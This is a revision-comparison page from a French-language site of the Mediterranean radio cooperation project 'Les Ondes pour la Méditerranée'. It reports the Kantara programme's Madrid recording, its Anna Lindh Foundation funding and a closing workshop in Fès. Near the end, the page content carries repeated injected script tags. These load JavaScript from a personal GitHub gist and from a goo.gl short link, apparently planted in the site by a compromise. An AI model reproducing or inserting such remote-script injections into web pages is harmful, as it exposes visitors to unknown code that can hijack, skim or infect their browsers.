You are viewing an old revision of this post, from May 24, 2011 @ 16:32:45. See below for differences between this version and the current revision.
Les 21 et 22 mars 2011, les journalistes producteurs de Kantara se sont réunis à Madrid afin d'enregistrer une émission spéciale depuis les studios de la Radio Nationale Espagnole (RTVE-RNE). Composée de Pierre MARI (Radio France / FBFM), Iman OUENZAR (RTVE / Radio Exterior de España), Hanane LAIMANI et Mohamed CHAFOUI (SNRT / Chaîne Inter), Lalia BEHIDJ (ENRS / Alger Chaîne 3) et de Fatma Zairi (Radio Tunis Chaîne Internationale), l'équipe de Kantara a profité de son séjour madrilain pour partir en ville à la recherche de sons, s'est réunie pour réfléchir au format de Kantara et a enregistré l'émission en compagnie d'une invité locale. Le producteur égyptien du programme n'a malheureusement pas pu se joindre à l'équipe pour cet enregistrement spécial.
Changes:
May 24, 2011 @ 16:32:45 | Current Revision | ||
---|---|---|---|
Title | |||
Enregistrement spécial de l'émission Kantara à Madrid | Programme « Les Ondes pour la Méditerranée » |
Content | |||
---|---|---|---|
<p> | |||
<br /> | |||
Le <span data-scayt_word="Projet" data-scaytid= "1">Projet</span> de <span data-scayt_word= "coopération" data-scaytid= "2">coopération</span> radio « Les <span data-scayt_word="Ondes" data-scaytid= "3">Ondes</span> pour la <span data-scayt_word= "Méditerranée" data-scaytid= "4">Méditerranée</span> » - <span data-scayt_word= "réunissant" data-scaytid= "5">réunissant</span>, <span data-scayt_word="outre" data-scaytid= "6">outre</span> la <span data-scayt_word="COPEAM" data-scaytid= "7">COPEAM</span>, un consortium de <span data-scayt_word="cinq" data-scaytid= "8">cinq</span> de <span data-scayt_word="ses" data-scaytid= "9">ses</span> <span data-scayt_word="membres" data-scaytid= "10">membres</span> <span data-scayt_word="piloté" data-scaytid= "11">piloté</span> par la Radio <span data-scayt_word= "Tunisienne" data-scaytid= "12">Tunisienne</span> - a <span data-scayt_word= "remporté" data-scaytid= "13">remporté</span> un <span data-scayt_word= "financement" data-scaytid= "14">financement</span> de la <span data-scayt_word="Fondation" data-scaytid= "15">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "16">Lindh</span> <span data-scayt_word="à " data-scaytid= "17">à</span> hauteur de 49% de <span data-scayt_word="sa" data-scaytid= "19">sa</span> <span data-scayt_word="valeur" data-scaytid= "20">valeur</span> <span data-scayt_word="totale" data-scaytid= "21">totale</span>. La <span data-scayt_word= "réunion" data-scaytid= "22">réunion</span> de <span data-scayt_word="lancement" data-scaytid= "23">lancement</span> et le premier atelier <span data-scayt_word="ose" data-scaytid= "24">ose</span> <span data-scayt_word="sont" data-scaytid= "25">sont</span> <span data-scayt_word="tenus" data-scaytid= "26">tenus</span> les 19, 20 et 21 <span data-scayt_word="janvier" data-scaytid= "27">janvier</span> <span data-scayt_word="derniers" data-scaytid= "28">derniers</span> <span data-scayt_word="à " data-scaytid= "18">à</span> Tunis. | |||
Le <span data-scayt_word="Projet" data-scaytid= "57">Projet</span> , qui a <span data-scayt_word= "démarré" data-scaytid= "89">démarré</span> en <span data-scayt_word= "décembre" data-scaytid= "90">décembre</span> 2009, <span data-scayt_word="réunit" data-scaytid= "91">réunit</span> six <span data-scayt_word= "partenaires" data-scaytid= "92">partenaires</span> : la Radio <span data-scayt_word= "Tunisienne" data-scaytid= "58">Tunisienne</span> en <span data-scayt_word="tant" data-scaytid= "94">tant</span> <span data-scayt_word="que" data-scaytid= "96">que</span> chef de file, Radio France (France Bleu <span data-scayt_word="Frequenza" data-scaytid= "98">Frequenza</span> Mora), <span data-scayt_word= "l’ENRS" data-scaytid= "99">l’ENRS</span> (<span data-scayt_word= "Algérie" data-scaytid= "100">Algérie</span>), la <span data-scayt_word="SNRT" data-scaytid= "101">SNRT</span> (<span data-scayt_word="Maroc" data-scaytid= "102">Maroc</span>), <span data-scayt_word= "l’ESAV" data-scaytid= "104">l’ESAV</span> (<span data-scayt_word="Ecole" data-scaytid= "105">Ecole</span> <span data-scayt_word= "Supérieure" data-scaytid= "106">Supérieure</span> des Arts <span data-scayt_word="Visuels" data-scaytid= "107">Visuels</span> de Marrakech - <span data-scayt_word="Maroc" data-scaytid= "103">Maroc</span>) et la <span data-scayt_word="COPEAM" data-scaytid= "59">COPEAM</span> en <span data-scayt_word="tant" data-scaytid= "95">tant</span> <span data-scayt_word="que" data-scaytid= "97">que</span> <span data-scayt_word= "coordinateur" data-scaytid= "109">coordinateur</span>. | |||
Présenté dans le cadre de l’Appel à proposition de programmes ALF/CFP/2009/LTP/146 de la Fondation Euro-Méditerranéenne Anna Lindh - a remporté un financement à hauteur de 49 % de sa valeur totale. | |||
Il vise à développer, consolider et pérenniser des coproductions radiophoniques à vocation euro-méditerranéenne et à soutenir la mobilité des jeunes professionnels du secteur. | |||
Ceci se fera d’une part, par l’aide aux contenus qui s’axe sur le soutien à l’émission Kantara et à son développement, ainsi qu'à deux séries radiophoniques à réaliser en coproduction par des membres de la Commission Radio de la COPEAM sur des thèmes partagés promouvant le dialogue dans la région Euromed ; d’autre part, par l’appui aux professionnels du secteur radio – journalistes, producteurs - et à leur mobilité, à travers l’organisation de huit ateliers de formation/coproduction qui seront accueillis par les partenaires: quatre consacrés aux deux séries radiophoniques mentionnées et quatre à Kantara, dans la perspective d'une évolution de ce programme en Magazine hebdomadaire d’information sur la Méditerranée. | |||
Ce résultat est le fruit du travail et de la volonté des partenaires visant à promouvoir une radiophonie méditerranéenne partagée et de qualité. Il a notamment été atteint suite aux efforts déployés par les membres de notre Commission Radio, par sa Vice-présidence (la Radio Tunisienne) et sa Présidence (Radio France/France Bleu Frequenza Mora), laquelle a joué le rôle de producteur exécutif pour les deux premières coproductions (Portraits de Footballeurs ; Les Ports Mythiques de la Méditerranée) et pour Kantara. | |||
<span style="color: #0000cd;"><span style="font-size: 14px;"><strong>A LA UNE</strong>< /span></span> | |||
<strong> | |||
Atelier de clôture du programme Les Ondes pour la Méditerranée</strong> | |||
<em>Fès, juin 2011</em> | |||
<img style="width: 208px; height: 135px; float: left;" src="/userfiles/ image/Pierre Mari%2C Fatma Zairi et Malya Behidj.jpg" alt="" />Les journalistes qui coproduisent de l'émission Kantara dans le cadre du programme Les Ondes pour la Méditerranée se sont réunis à Fès pour le dernier atelier du programme et une première évaluation du nouveau format. Cet atelier était le dernier prévu dans le cadre du programme sus-mentionné, qui bénéficie d'un cofinancement de la Fondation Anna Lindh. | |||
Sur invitation de la radio locale à Fès de la SNRT (Maroc) - membre du consortium OpM - les producteurs de l'émission Kantara ont travaillé pendant deux jours sur une évaluation de l'émission depuis le début du programme et ont suggéré d'éventuels développements, en présence du Président de la Commission Radio, M. Hervé de Haro. | |||
En marge de ces travaux, ils ont enregistré un épisode spécial de Kantara, dédié à la ville de Fès et au Festival des Musiques Sacrées qui s'y déroulait durant cette période. | |||
A compter d'aujourd'hui et grâce au soutien du programme OpM, Kantara est aujourd'hui coproduit par l'<strong>EPRS</strong> (Algérie), <strong>ERTU </strong>(Egypte), <strong>Radio France/France Bleu Frequenza Mora</strong>, <strong>RTCI </strong>(Tunisia), <strong>RTVE</strong> (Espagne) et la <strong>SNRT </strong>(Maroc). | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <a href="http:// www.facebook.com/ album.php?aid= 34389&id= 127100014015208& saved#!/photo.php?fbid= 161985703859972& set=a.161985563859986.34389.127100014015208& theater"><img style="width: 23px; height: 23px; float: left;" src="/userfiles/ image/fb.jpg" alt="" /></a> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.